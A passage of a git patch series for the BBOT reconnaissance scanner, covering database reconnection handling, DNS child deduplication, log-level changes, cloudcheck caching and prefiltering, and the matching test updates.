return await super().setup() + async def _connect(self): + return await asyncpg.connect( + host=self.db_host, + port=self.db_port, + user=self.db_user, + database=self.db_name, + statement_cache_size=0, # Disable automatic statement preparation + ) + async def request_url(self, query): - if not self.db_conn: - self.db_conn = await asyncpg.connect( - host=self.db_host, - port=self.db_port, - user=self.db_user, - database=self.db_name, - statement_cache_size=0, # Disable automatic statement preparation - ) + # asyncpg connections can drop mid-scan when the upstream Postgres restarts, + # exhausts shared memory, or idles us out. Reconnect on the next call. + if self.db_conn is None or self.db_conn.is_closed(): + self.db_conn = await self._connect() sql = """ WITH ci AS ( @@ -51,7 +56,16 @@ async def request_url(self, query): SELECT DISTINCT unnest(NAME_VALUES) as name_value FROM ci; """ start = time.time() - results = await self.db_conn.fetch(sql, query) + try: + results = await self.db_conn.fetch(sql, query) + except (asyncpg.InterfaceError, ConnectionError): + # connection died between requests; drop it so the next call reconnects + self.db_conn = None + raise + except asyncpg.OutOfMemoryError as e: + # upstream is overloaded; bail out for the rest of the scan rather than hammer it + self.set_error_state(f"crt.sh Postgres reported out-of-memory: {e}") + return [] end = time.time() self.verbose(f"SQL query executed in: {end - start} seconds with {len(results):,} results") return results diff --git a/bbot/test/test_step_2/module_tests/test_module_crt_db.py b/bbot/test/test_step_2/module_tests/test_module_crt_db.py index 995d2cd52b..c81d70470d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_crt_db.py +++ b/bbot/test/test_step_2/module_tests/test_module_crt_db.py @@ -1,23 +1,73 @@ +import asyncpg + from .base import ModuleTestBase -class TestCRT_DB(ModuleTestBase): - async def setup_after_prep(self, module_test): - class AsyncMock: - async def fetch(self, *args, **kwargs): - return [ - {"name_value": "asdf.blacklanternsecurity.com"}, - {"name_value": "zzzz.blacklanternsecurity.com"}, - ] +class FakeAsyncpgConn: + def __init__(self): + self._closed = False + self.fetch_calls = 0 + + def is_closed(self): + return self._closed + + async def fetch(self, *args, **kwargs): + self.fetch_calls += 1 + return [ + {"name_value": "asdf.blacklanternsecurity.com"}, + {"name_value": "zzzz.blacklanternsecurity.com"}, + ] + + async def close(self): + self._closed = True - async def close(self): - pass +class TestCRT_DB(ModuleTestBase): + async def setup_after_prep(self, module_test): async def mock_connect(*args, **kwargs): - return AsyncMock() + return FakeAsyncpgConn() module_test.monkeypatch.setattr("asyncpg.connect", mock_connect) def check(self, module_test, events): assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" assert any(e.data == "zzzz.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" + + +class TestCRT_DB_Reconnect(ModuleTestBase): + """ + Asyncpg connections drop mid-scan when the upstream Postgres restarts or idles us out. + The module must reopen on the next call instead of staying broken for the rest of the scan. + """ + + targets = ["blacklanternsecurity.com", "evilcorp.com"] + modules_overrides = ["crt_db"] + + async def setup_after_prep(self, module_test): + # first fetch raises "connection is closed"; subsequent fetches succeed + async def fetch_succeed(self, *args, **kwargs): + return [{"name_value": "reconnect.blacklanternsecurity.com"}] + + async def fetch_then_succeed(self, *args, **kwargs): + self._closed = True + raise asyncpg.InterfaceError("connection is closed") + + self.connect_count = 0 + + async def mock_connect(*args, **kwargs): + self.connect_count += 1 + conn = FakeAsyncpgConn() + # first connection's fetch raises closed; second connection succeeds + if self.connect_count == 1: + conn.fetch = fetch_then_succeed.__get__(conn) + else: + conn.fetch = fetch_succeed.__get__(conn) + return conn + + module_test.monkeypatch.setattr("asyncpg.connect", mock_connect) + + def check(self, module_test, events): + assert self.connect_count >= 2, "Module did not reconnect after closed connection" + assert any(e.data == "reconnect.blacklanternsecurity.com" for e in events), ( + "Failed to detect subdomain after reconnect" + ) From 97e41f2a99c8e9628fc66678fce39455fb58008c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 22 May 2026 09:09:48 -0400 Subject: [PATCH 693/912] leakix: guard parse_results against non-list JSON --- bbot/modules/leakix.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/leakix.py b/bbot/modules/leakix.py index 1f79dc8b12..d56c606ddc 100644 --- a/bbot/modules/leakix.py +++ b/bbot/modules/leakix.py @@ -38,7 +38,7 @@ async def request_url(self, query): async def parse_results(self, r, query=None): results = set() json = r.json() - if json: + if isinstance(json, list): for entry in json: subdomain = entry.get("subdomain", "") if subdomain: From 400f6af62afa0709d6e2968517b69981385683f3 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 22 May 2026 09:13:13 -0400 Subject: [PATCH 694/912] test_module_crt_db: drop top-level asyncpg import --- bbot/test/test_step_2/module_tests/test_module_crt_db.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_crt_db.py b/bbot/test/test_step_2/module_tests/test_module_crt_db.py index c81d70470d..dbc799ab35 100644 --- a/bbot/test/test_step_2/module_tests/test_module_crt_db.py +++ b/bbot/test/test_step_2/module_tests/test_module_crt_db.py @@ -1,5 +1,3 @@ -import asyncpg - from .base import ModuleTestBase @@ -50,7 +48,7 @@ async def fetch_succeed(self, *args, **kwargs): async def fetch_then_succeed(self, *args, **kwargs): self._closed = True - raise asyncpg.InterfaceError("connection is closed") + raise ConnectionError("connection is closed") self.connect_count = 0 From 101cec37929f431496a0dca956f77c5dd546b5f2 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 22 May 2026 10:14:17 -0400 Subject: [PATCH 695/912] dedup dns children by (rdtype, child) not parent host emit_dns_children was keyed on (parent_host, rdtype, child_host), so the same out-of-scope nameserver was re-emitted once per in-scope parent that referenced it. With concentrated providers like Cloudflare or MarkMonitor this multiplied NS/SOA emissions by 1000x+ and flooded downstream module queues. --- bbot/modules/internal/dnsresolve.py | 2 +- .../module_tests/test_module_dnsresolve.py | 51 +++++++++++++++++++ 2 files changed, 52 insertions(+), 1 deletion(-) diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index a509f87518..5713a25691 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -210,7 +210,7 @@ async def emit_dns_children(self, event): if rdtype == "PTR": child_event.add_tag("ptr") - child_hash = hash(f"{event.host}:{module}:{child_host}") + child_hash = hash(f"{module}:{child_host}") # if we haven't emitted this one before if child_hash not in self.children_emitted: # and it's either in-scope or inside our dns search distance diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py b/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py index fb7d1b6224..3c74233116 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py @@ -94,6 +94,57 @@ def check(self, module_test, events): ) +class TestDNSResolveSharedNameserverDedup(ModuleTestBase): + """ + Multiple in-scope parents that share the same NS/SOA records should not cause the + shared nameserver hostname to be re-emitted once per parent. The dedup in + DNSResolve.emit_dns_children must collapse identical (rdtype, child) pairs across + parents, not key on parent host. + """ + + module_name = "dnsresolve" + targets = ["domain-a.test", "domain-b.test", "domain-c.test"] + config_overrides = {"dns": {"minimal": False}, "scope": {"report_distance": 1}} + + async def setup_after_prep(self, module_test): + shared_ns = ["shared-ns1.cloudprovider.test.", "shared-ns2.cloudprovider.test."] + shared_soa = ["shared-ns1.cloudprovider.test. admin.cloudprovider.test. 1 7200 3600 1209600 3600"] + await module_test.mock_dns( + { + "domain-a.test": {"A": ["192.168.0.1"], "NS": shared_ns, "SOA": shared_soa}, + "domain-b.test": {"A": ["192.168.0.2"], "NS": shared_ns, "SOA": shared_soa}, + "domain-c.test": {"A": ["192.168.0.3"], "NS": shared_ns, "SOA": shared_soa}, + # resolve the shared nameservers so they keep the DNS_NAME type + "shared-ns1.cloudprovider.test": {"A": ["192.168.99.1"]}, + "shared-ns2.cloudprovider.test": {"A": ["192.168.99.2"]}, + } + ) + + def check(self, module_test, events): + from collections import Counter + + ns_counts = Counter( + e.data for e in events if e.type in ("DNS_NAME", "DNS_NAME_UNRESOLVED") and str(e.module) == "NS" + ) + soa_counts = Counter( + e.data for e in events if e.type in ("DNS_NAME", "DNS_NAME_UNRESOLVED") and str(e.module) == "SOA" + ) + + # each shared nameserver hostname is referenced by all three in-scope parents + # but should still be emitted exactly once + assert ns_counts == { + "shared-ns1.cloudprovider.test": 1, + "shared-ns2.cloudprovider.test": 1, + }, ( + f"Expected each shared NS hostname to be emitted exactly once across parents, " + f"got: {dict(ns_counts)}. emit_dns_children dedup is keyed on " + f"(parent_host, rdtype, child) instead of (rdtype, child)." + ) + assert soa_counts == {"shared-ns1.cloudprovider.test": 1}, ( + f"Expected the shared SOA hostname to be emitted exactly once across parents, got: {dict(soa_counts)}." + ) + + class TestDNSResolveFilterPTRsDisabled(ModuleTestBase): """Test that PTR-derived hostnames ARE promoted to in-scope when filter_ptrs is disabled.""" From 3a2272683d81acd6757cb5dd67e2d6b89ab8f79d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 22 May 2026 10:39:33 -0400 Subject: [PATCH 696/912] log: surface real failures in error.log Promote 'unusual condition' messages from warning to error so error.log becomes useful as the first place to look when something goes wrong: - BaseModule.set_error_state: warning -> error (and critical when critical=True) -- the canonical 'this module gave up' signal. - DNS connectivity-failed message: warning -> error. - Dependency-install failures (pip / OS pkg / shell / Ansible / sudo-no-TTY): warning -> error. - Module setup hard-fail and module load failure in Scanner: warning -> error. - Scanner 'Aborting scan': hugewarning -> critical (still big-text in terminal AND now lands in error.log). - CLI: catch KeyboardInterrupt and any unhandled top-level Exception, log them via log.error + log.trace so the failure mode is recorded in error.log instead of dying silently to stderr. Demote noisy-but-handled wayback per-query failures (archive.org is chronically slow; the module retries cleanly) from warning to verbose. These were 2,400+ of the 2,600 warnings in a sample scan log. --- bbot/cli.py | 10 ++++++++++ bbot/core/helpers/depsinstaller/installer.py | 18 ++++++++---------- bbot/core/helpers/dns/dns.py | 2 +- bbot/modules/base.py | 5 ++--- bbot/modules/wayback.py | 4 ++-- bbot/scanner/scanner.py | 8 ++++---- 6 files changed, 27 insertions(+), 20 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index 1985b2a9eb..87d32ea514 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -337,6 +337,8 @@ def main(): import traceback from bbot.core import CORE + log = logging.getLogger("bbot.cli") + global scan_name try: asyncio.run(_main()) @@ -347,10 +349,18 @@ def main(): msg = "Interrupted" if scan_name: msg = f"You killed {scan_name}" + log.error(msg) + log.trace(traceback.format_exc()) log_to_stderr(msg, level="WARNING") if CORE.logger.log_level <= logging.DEBUG: log_to_stderr(traceback.format_exc(), level="DEBUG") exit(1) + except Exception as e: + log.error(f"Unhandled exception: {e}") + log.trace(traceback.format_exc()) + log_to_stderr(f"Unhandled exception: {e}", level="CRITICAL") + log_to_stderr(traceback.format_exc(), level="DEBUG") + exit(1) if __name__ == "__main__": diff --git a/bbot/core/helpers/depsinstaller/installer.py b/bbot/core/helpers/depsinstaller/installer.py index d3ac8a3297..baba35d562 100644 --- a/bbot/core/helpers/depsinstaller/installer.py +++ b/bbot/core/helpers/depsinstaller/installer.py @@ -202,7 +202,7 @@ async def install(self, *modules): log.debug(f'Setup succeeded for module "{m}"') succeeded.append(m) else: - log.warning(f'Setup failed for module "{m}"') + log.error(f'Setup failed for module "{m}"') failed.append(m) else: if success or self.deps_behavior == "ignore_failed": @@ -211,7 +211,7 @@ async def install(self, *modules): ) succeeded.append(m) else: - log.warning( + log.error( f'Skipping dependency install for module "{m}" because it failed previously (--retry-deps to retry or --ignore-failed-deps to ignore)' ) failed.append(m) @@ -288,7 +288,7 @@ async def pip_install(self, packages, constraints=None): log.info(message) return True except CalledProcessError as err: - log.warning(f"Failed to install pip packages {packages_str} (return code {err.returncode}): {err.stderr}") + log.error(f"Failed to install pip packages {packages_str} (return code {err.returncode}): {err.stderr}") return False def apt_install(self, packages): @@ -300,11 +300,9 @@ def apt_install(self, packages): if success: log.info(f'Successfully installed OS packages "{",".join(sorted(packages))}"') else: - log.warning( - f"Failed to install OS packages ({err}). Recommend installing the following packages manually:" - ) + log.error(f"Failed to install OS packages ({err}). Recommend installing the following packages manually:") for p in packages: - log.warning(f" - {p}") + log.error(f" - {p}") return success def _make_apt_ansible_args(self, packages): @@ -341,7 +339,7 @@ def shell(self, module, commands): if success: log.info(f"Successfully ran {len(commands):,} shell commands") else: - log.warning("Failed to run shell dependencies") + log.error("Failed to run shell dependencies") return success def tasks(self, module, tasks): @@ -350,7 +348,7 @@ def tasks(self, module, tasks): if success: log.info(f"Successfully ran {len(tasks):,} Ansible tasks for {module}") else: - log.warning(f"Failed to run Ansible tasks for {module}") + log.error(f"Failed to run Ansible tasks for {module}") return success def ansible_run(self, tasks=None, module=None, args=None, ansible_args=None): @@ -440,7 +438,7 @@ def ensure_root(self, message=""): try: _sudo_password = getpass.getpass(prompt="[USER] Please enter sudo password: ") except OSError: - log.warning("Unable to read sudo password (no TTY). Set BBOT_SUDO_PASS env var.") + log.error("Unable to read sudo password (no TTY). Set BBOT_SUDO_PASS env var.") return if self.parent_helper.verify_sudo_password(_sudo_password): log.success("Authentication successful") diff --git a/bbot/core/helpers/dns/dns.py b/bbot/core/helpers/dns/dns.py index 6f6675a89f..c9b59e6cc3 100644 --- a/bbot/core/helpers/dns/dns.py +++ b/bbot/core/helpers/dns/dns.py @@ -412,7 +412,7 @@ async def _connectivity_check(self, interval=5): return True if time.time() - self._last_connectivity_warning > interval: - self.log.warning("DNS queries are failing, please check your internet connection") + self.log.error("DNS queries are failing, please check your internet connection") self._last_connectivity_warning = time.time() self._errors.clear() return False diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 0dcf8cfdee..6fde7c4a24 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -1095,10 +1095,9 @@ def set_error_state(self, message=None, clear_outgoing_queue=False, critical=Fal if message is not None: log_msg += f": {message}" if critical: - log_fn = self.error + self.critical(log_msg, trace=False) else: - log_fn = self.warning - log_fn(log_msg) + self.error(log_msg) self.errored = True # clear incoming queue if self.incoming_event_queue is not False: diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 49010f451a..d8d0d57175 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -42,13 +42,13 @@ async def query(self, query): waybackurl = f"{self.base_url}/cdx/search/cdx?url={self.helpers.quote(query)}&matchType=domain&output=json&fl=original&collapse=original" r = await self.helpers.request(waybackurl, timeout=self.http_timeout + 10) if not r: - self.warning(f'Error connecting to archive.org for query "{query}"') + self.verbose(f'Error connecting to archive.org for query "{query}"') return results try: j = r.json() assert type(j) == list except Exception: - self.warning(f'Error JSON-decoding archive.org response for query "{query}"') + self.verbose(f'Error JSON-decoding archive.org response for query "{query}"') return results urls = [] diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index c7a7aa0a1e..8c2d6ccac9 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -588,7 +588,7 @@ async def setup_modules(self, remove_failed=True, deps_only=False): self.debug(f"Setup succeeded for {module.name} ({msg})") succeeded.append(module.name) elif status is False: - self.warning(f"Setup hard-failed for {module.name}: {msg}") + self.error(f"Setup hard-failed for {module.name}: {msg}") self.modules[module.name].set_error_state() hard_failed.append(module.name) else: @@ -858,7 +858,7 @@ async def async_stop(self): if not self._stopping: self._stopping = True await self._set_status(SCAN_STATUS_ABORTING) - self.hugewarning("Aborting scan") + self.critical("Aborting scan", trace=False) self.trace() self._cancel_tasks() self._drain_queues() @@ -1402,9 +1402,9 @@ def _load_modules(self, modules): self.verbose(f'Loaded module "{module_name}"') continue except Exception: - self.warning(f"Failed to load module {module_class}") + self.error(f"Failed to load module {module_class}") else: - self.warning(f'Failed to load unknown module "{module_name}"') + self.error(f'Failed to load unknown module "{module_name}"') failed.add(module_name) return loaded_modules, failed From 4ffd1d6663ae3abd3611925461fc089b9f1e2f10 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 22 May 2026 10:46:01 -0400 Subject: [PATCH 697/912] test_manager_deduplication: account for cross-parent IP dedup --- bbot/test/test_step_1/test_manager_deduplication.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_1/test_manager_deduplication.py b/bbot/test/test_step_1/test_manager_deduplication.py index 9151ad7da8..0f7b0e48b4 100644 --- a/bbot/test/test_step_1/test_manager_deduplication.py +++ b/bbot/test/test_step_1/test_manager_deduplication.py @@ -128,7 +128,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"]) assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) - assert len(all_events) == 27 + assert len(all_events) == 26 assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "accept_dupes.test.notreal" and str(e.module) == "accept_dupes"]) assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "default_module.test.notreal" and str(e.module) == "default_module"]) assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes" and e.parent.data == "accept_dupes.test.notreal"]) @@ -140,7 +140,9 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"]) assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.3" and str(e.module) == "A" and e.parent.data == "test.notreal"]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.3" and str(e.module) == "A" and e.parent.data == "default_module.test.notreal"]) + # the second 127.0.0.3 (parent=default_module.test.notreal) is now deduped at the DNSResolve layer + # because (rdtype, child) collides with the test.notreal->127.0.0.3 edge already emitted + assert 0 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.3" and str(e.module) == "A" and e.parent.data == "default_module.test.notreal"]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.5" and str(e.module) == "A" and e.parent.data == "no_suppress_dupes.test.notreal"]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.6" and str(e.module) == "A" and e.parent.data == "accept_dupes.test.notreal"]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.7" and str(e.module) == "A" and e.parent.data == "per_hostport_only.test.notreal"]) From 8e83e9167637228637c0850fdffb2eda14a84ea6 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 22 May 2026 08:34:00 -0400 Subject: [PATCH 698/912] route TRACE to debug.log only, not error.log --- bbot/scanner/scanner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index c7a7aa0a1e..8321472584 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -1360,7 +1360,7 @@ def _log_handlers(self): error_handler = GzipRotatingFileHandler( str(self.home / "error.log"), maxBytes=1024 * 1024 * 100, backupCount=100 ) - error_handler.addFilter(lambda x: x.levelno == logging.TRACE or x.levelno >= logging.ERROR) + error_handler.addFilter(lambda x: x.levelno >= logging.ERROR and x.levelno != logging.TRACE) self.__log_handlers = [main_handler, debug_handler, error_handler] return self.__log_handlers From f8d72a76bb3fa0aaac5b298fb583fbfeb87df654 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 22 May 2026 14:54:29 -0400 Subject: [PATCH 699/912] update dnscommonsrv + wildcard baseline tests for cross-parent dedup both tests relied on the (parent, rdtype, child) emit_dns_children dedup to produce duplicate DNS_NAME/IP_ADDRESS edges across parents. with the new (rdtype, child) dedup these collapse to a single emission. --- .../test_step_2/module_tests/test_module_dnscommonsrv.py | 8 +++++--- .../template_tests/test_template_subdomain_enum.py | 6 ++++-- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py index e2b0438b0b..0fa733e0a3 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py @@ -55,7 +55,7 @@ async def new_run_live(*command, check=False, text=True, **kwargs): ) def check(self, module_test, events): - assert len(events) == 20 + assert len(events) == 19 assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "blacklanternsecurity.com"]) assert 1 == len( [ @@ -75,7 +75,9 @@ def check(self, module_test, events): and str(e.module) == "dnscommonsrv" ] ), "Failed to detect subdomain 2" - assert 2 == len([e for e in events if e.type == "DNS_NAME" and e.data == "asdf.blacklanternsecurity.com"]), ( + # cross-parent (rdtype, child) dedup in DNSResolve.emit_dns_children collapses + # the two SRV->asdf edges into a single DNS_NAME event + assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "asdf.blacklanternsecurity.com"]), ( "Failed to detect subdomain 3" ) assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "api.blacklanternsecurity.com"]), ( @@ -109,6 +111,6 @@ def check(self, module_test, events): ] ), "Failed to emit RAW_DNS_RECORD for _ldap._tcp.gc._msdcs.blacklanternsecurity.com" assert 2 == len([e for e in events if e.type == "RAW_DNS_RECORD"]) - assert 10 == len([e for e in events if e.type == "DNS_NAME"]) + assert 9 == len([e for e in events if e.type == "DNS_NAME"]) assert 5 == len([e for e in events if e.type == "DNS_NAME_UNRESOLVED"]) assert 5 == len([e for e in events if e.type == "DNS_NAME_UNRESOLVED" and str(e.module) == "speculate"]) diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index 5104291cc3..5c5a442db7 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -127,8 +127,10 @@ async def mock_query(query): def check(self, module_test, events): assert self.queries == ["walmart.cn"] - assert len(events) == 7 - assert 2 == len( + assert len(events) == 6 + # cross-parent (rdtype, child) dedup in DNSResolve.emit_dns_children collapses + # the three walmart.cn->127.0.0.1 edges into a single IP_ADDRESS event + assert 1 == len( [ e for e in events From e16a8e4bf1c1958e42437ad1825ac004a0805332 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 22 May 2026 15:04:03 -0400 Subject: [PATCH 700/912] test_cli_module_validation: WARNING -> ERROR for promoted setup failures scanner.setup-hard-failed and module set_error_state both now log at ERROR per this PR. update the cli test assertions accordingly. --- bbot/test/test_step_1/test_cli.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index 38a84fe90d..e1387b1b92 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -522,7 +522,7 @@ def test_cli_module_validation(monkeypatch, caplog): [ l for l in lines - if l.startswith("WARNING bbot.scanner:scanner.py") + if l.startswith("ERROR bbot.scanner:scanner.py") and l.endswith("Setup hard-failed for websocket: Must set URL") ] ) @@ -530,7 +530,7 @@ def test_cli_module_validation(monkeypatch, caplog): [ l for l in lines - if l.startswith("WARNING bbot.modules.output.websocket:base.py") and l.endswith("Setting error state") + if l.startswith("ERROR bbot.modules.output.websocket:base.py") and l.endswith("Setting error state") ] ) assert 1 == len( @@ -556,7 +556,7 @@ def test_cli_module_validation(monkeypatch, caplog): [ l for l in lines - if l.startswith("WARNING bbot.scanner:scanner.py") + if l.startswith("ERROR bbot.scanner:scanner.py") and l.endswith("Setup hard-failed for websocket: Must set URL") ] ) @@ -564,7 +564,7 @@ def test_cli_module_validation(monkeypatch, caplog): [ l for l in lines - if l.startswith("WARNING bbot.modules.output.websocket:base.py") and l.endswith("Setting error state") + if l.startswith("ERROR bbot.modules.output.websocket:base.py") and l.endswith("Setting error state") ] ) assert 1 == len( From 6350944d319bd4055cd3ee191563a3e35b528933 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 23 May 2026 14:15:24 -0400 Subject: [PATCH 701/912] cloudcheck: inheritance fast path, YARA prefilter, LRU cache - Per-host parent inheritance: child events with hosts subset of parent's inherit parent's per-host cloud metadata instead of re-running lookups. Iterates parent.host_metadata (only matched hosts, typically 0-1) rather than the child's full hosts_to_check. - YARA prefilter replaces 8-regex sequential storage-bucket loop with one combined scan; ~95% of non-IP events have no possible bucket suffix and skip the per-regex pass entirely. Also drops the per-event asyncio.Lock acquire from the previous lazy loader. - LRU cache on cloudcheck.lookup() results (100K entries, ~50MB target). Repeated hosts hit the cache in ~50ns vs ~30us for the Future-based lookup. Subdomain-enum scans repeat IPs heavily. - Event.resolved_hosts is naturally immutable (frozenset, no in-place mutation API). add_resolved_host / update_resolved_hosts removed; callers refactored to single-shot assignments via the property setter. Lets the inheritance path trust parent.resolved_hosts directly without a defensive snapshot. Bench (TestInterceptCloudcheckDNSThroughput, 1000 DNS_NAME events x 3 resolved IPs): quiet: 1485 -> 1932 events/sec (+30%) loaded: 1336 -> 1853 events/sec (+39%) inherited: 1485 -> 2241 events/sec (+51%) Bumping _module_threads on cloudcheck was tested and rejected: cloudcheck.lookup is single-threaded CPU work dispatched through asyncio (the Rust binding returns a Future but the work is sync), so more coroutine workers do not unlock parallelism. Filed upstream cloudcheck#264 asking for structured pattern metadata so the YARA prefilter would not need to string-replace (?P to translate Python regex flavor to YARA's. --- bbot/core/event/base.py | 38 +- bbot/modules/gowitness.py | 2 +- bbot/modules/http.py | 2 +- bbot/modules/internal/cloudcheck.py | 244 +++++++++--- bbot/modules/internal/dnsresolve.py | 8 +- bbot/modules/portscan.py | 3 +- bbot/test/benchmarks/_eventloop_profiler.py | 364 ++++++++++++++++++ .../test_intercept_throughput_benchmarks.py | 208 +++++++++- bbot/test/test_step_1/test_events.py | 2 +- .../module_tests/test_module_cloudcheck.py | 129 ++++++- 10 files changed, 910 insertions(+), 90 deletions(-) create mode 100644 bbot/test/benchmarks/_eventloop_profiler.py diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 2865411dbd..360a97d9bb 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -55,9 +55,10 @@ # Shared empty defaults for lazy-init slots. Returned from property accessors # when the underlying slot is None — saves ~560 bytes per event compared to # allocating real empty containers (set/dict) at __init__ time. Mutating -# helpers (add_tag, add_resolved_host, etc.) replace the slot with a real -# container before mutating, so callers never see the singletons in a -# mutable position. +# helpers (add_tag, etc.) replace the slot with a real container before +# mutating, so callers never see the singletons in a mutable position. +# `_resolved_hosts` has no in-place mutation API — see the resolved_hosts +# property setter for the assign-once-then-frozen contract. _EMPTY_FROZENSET: "frozenset[str]" = frozenset() _EMPTY_DICT = MappingProxyType({}) @@ -307,23 +308,24 @@ def data(self): @property def resolved_hosts(self): if is_ip(self.host): - return { - self.host, - } + return frozenset({self.host}) return self._resolved_hosts if self._resolved_hosts is not None else _EMPTY_FROZENSET - def add_resolved_host(self, host): - """Add a host to ``_resolved_hosts``, lazy-allocating the set.""" - if self._resolved_hosts is None or isinstance(self._resolved_hosts, frozenset): - # promote shared singleton / empty to a real mutable set - self._resolved_hosts = set(self._resolved_hosts) if self._resolved_hosts else set() - self._resolved_hosts.add(host) + @resolved_hosts.setter + def resolved_hosts(self, value): + """Assign ``_resolved_hosts`` as a frozenset (or None for unset). - def update_resolved_hosts(self, hosts): - """Add multiple hosts to ``_resolved_hosts``, lazy-allocating the set.""" - if self._resolved_hosts is None or isinstance(self._resolved_hosts, frozenset): - self._resolved_hosts = set(self._resolved_hosts) if self._resolved_hosts else set() - self._resolved_hosts.update(hosts) + Resolved hosts are naturally immutable: there is no in-place mutation + API. Callers (typically ``dnsresolve``) build the set locally and then + assign it once via this setter, after which the slot holds a + ``frozenset`` that downstream consumers can read but cannot modify. + """ + if value is None: + self._resolved_hosts = None + elif isinstance(value, frozenset): + self._resolved_hosts = value + else: + self._resolved_hosts = frozenset(value) @property def dns_children(self): @@ -2362,7 +2364,7 @@ def event_from_json(j): event._uuid = uuid.UUID(event_uuid.split(":")[-1]) resolved_hosts = j.get("resolved_hosts", []) - event._resolved_hosts = set(resolved_hosts) + event._resolved_hosts = frozenset(resolved_hosts) if resolved_hosts else None http_title = j.get("http_title", "") if http_title: diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index a33527e503..b4cbbe3846 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -244,7 +244,7 @@ async def handle_batch(self, *events): context=f"{{module}} visited {{event.type}}: {url}", ) if url_event and ip: - url_event.add_resolved_host(sys.intern(ip)) + url_event.resolved_hosts = (sys.intern(ip),) await self.emit_event(url_event) # emit technologies diff --git a/bbot/modules/http.py b/bbot/modules/http.py index cb8d9c4438..80490b3ab1 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -212,7 +212,7 @@ async def _process_result(self, result, parent_event): if url_event: response_ip = j.get("host", "") if response_ip: - url_event.add_resolved_host(response_ip) + url_event.resolved_hosts = (response_ip,) title = j.get("title", "") if title: url_event.http_title = title diff --git a/bbot/modules/internal/cloudcheck.py b/bbot/modules/internal/cloudcheck.py index 5859aa9d34..47b124c3f8 100644 --- 